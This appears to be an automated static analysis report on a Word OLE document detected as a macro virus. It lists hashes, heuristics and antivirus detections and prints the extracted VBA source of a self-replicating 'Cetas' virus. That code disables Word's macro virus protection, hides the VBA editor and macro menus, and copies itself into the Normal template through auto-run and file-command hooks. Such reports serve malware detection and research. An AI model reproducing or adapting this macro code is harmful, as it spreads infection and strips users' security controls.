Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0a13c7889eb4c833…

MALICIOUS

Office (OLE)

46.5 KB Created: 1999-12-29 05:32:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 95f272757c6b52ed1568918b56d90ea3 SHA-1: 28b7664e3ca1d7ff0cc417b93a065986fa50f89c SHA-256: 0a13c7889eb4c8336c2b78fce3051be730fbb7ecad1283181434aa72e685dadb
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros that attempt to disable macro security and hide development tools, as indicated by the AutoOpen and AutoClose heuristics. The script also attempts to export a file named 'c:\WinCTL.sys', suggesting a payload delivery or persistence mechanism. The ClamAV detections further confirm its malicious nature.

Heuristics 5

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4478 bytes
SHA-256: ad55c834c3710cfea10a4762b1b556a9df7dd9d24779ec7b0b28f3a28b6dec72
Detection
ClamAV: Doc.Trojan.Opey-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "xHeCs2"
Sub vxConTrol()
'
' Cetas Virus version 2.0 by xHeCs
' ATTENTION LAMERS that's you !!!.
'     You can learn a lot from this virus, But Please respect
' What is not yours.
'
On Error Resume Next
Application.UserName = "PAcMAn"
Application.UserAddress = "PAcMAn ZonE"
Application.UserInitials = "xHeCs"
With Dialogs(wdDialogFileSummaryInfo)
        .Author = "xHeCs"
        .Comments = "Life is like a box of chocolate you'll never know what your gonna get :)"
        .Execute
End With
With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
End With
With ActiveDocument
   .ReadOnlyRecommended = False
End With
On Error Resume Next
CommandBars("Visual Basic").Visible = False
CommandBars("Visual Basic").Enabled = False
CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
CommandBars("Visual Basic").Protection = msoBarNoCustomize
CommandBars("Tools").Controls("Macro").Delete
CommandBars("Tools").Controls("Customize...").Delete
CustomizationContext = NormalTemplate
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
Application.VBE.ActiveVBProject.VBComponents("xHeCs2").Export "c:\WinCTL.sys"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
  If NormalTemplate.VBProject.VBComponents(I).Name = "xHeCs2" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
  If ActiveDocument.VBProject.VBComponents(I).Name = "xHeCs2" Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = False Then Set Target = NormalTemplate.VBProject _
Else: If ActivInstall = False And NormInstall = True Then Set Target = ActiveDocument.VBProject
Target.VBComponents.Import ("c:\WinCtl.sys")
End Sub
Sub FileSave()
    On Error Resume Next
    Call vxConTrol
    ActiveDocument.Save
End Sub
Sub FileClose()
    On Error Resume Next
    Call vxConTrol
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub
Sub AutoOpen()
    On Error Resume Next
    Call vxConTrol
End Sub
Sub FileExit()
    On Error Resume Next
    Call vxConTrol
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.quit
End Sub
Sub FileNew()
    On Error Resume Next
    Dialogs(wdDialogFileNew).Show
    newfile$ = 1
    Call vxConTrol
End Sub
Sub EditFind()
    On Error Resume Next
    Dialogs(wdDialogEditFind).Show
    Call vxConTrol
End Sub
Sub AutoExec()
    On Error Resume Next
    Call vxConTrol
End Sub
Sub FileSaveAs()
    On Error Resume Next
    Call vxConTrol
    Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FilePageSetup()
    On Error Resume Next
    Call vxConTrol
    Dialogs(wdDialogFilePageSetup).Show
End Sub
Sub FilePrint()
    On Error Resume Next
    Call vxConTrol
    Dialogs(wdDialogFilePrint).Show
End Sub
Sub FileOpen()
    On Error Resume Next
    Dialogs(wdDialogFileOpen).Show
    Call vxConTrol
End Sub
Function Delay()
    For I = 0 To 10000000
    Next I
End Function
Sub AutoClose()
    On Error Resume Next
    Call vxConTrol
    If (Minute(Time) = 35) Then
        If (Second(Time) Mod 2) = 0 Then
           Response = MsgBox("Do You want to Close this Document ?", vbYesNo + vbCritical)
           Delay
           If (Response = 7) Then GoTo NoBox
           Response = MsgBox("Are you sure you want to Close this Document ?", vbYesNo + vbCritical)
           Delay
           If (Response = 7) Then GoTo NoBox
           Response = MsgBox("Are you Really sure you want to Close this Document ?", vbYesNo + vbCritical)
           Delay
           If (Response = 7) Then GoTo NoBox
           Response = MsgBox("Are you Really Really sure you want to Close this Doc
... (truncated)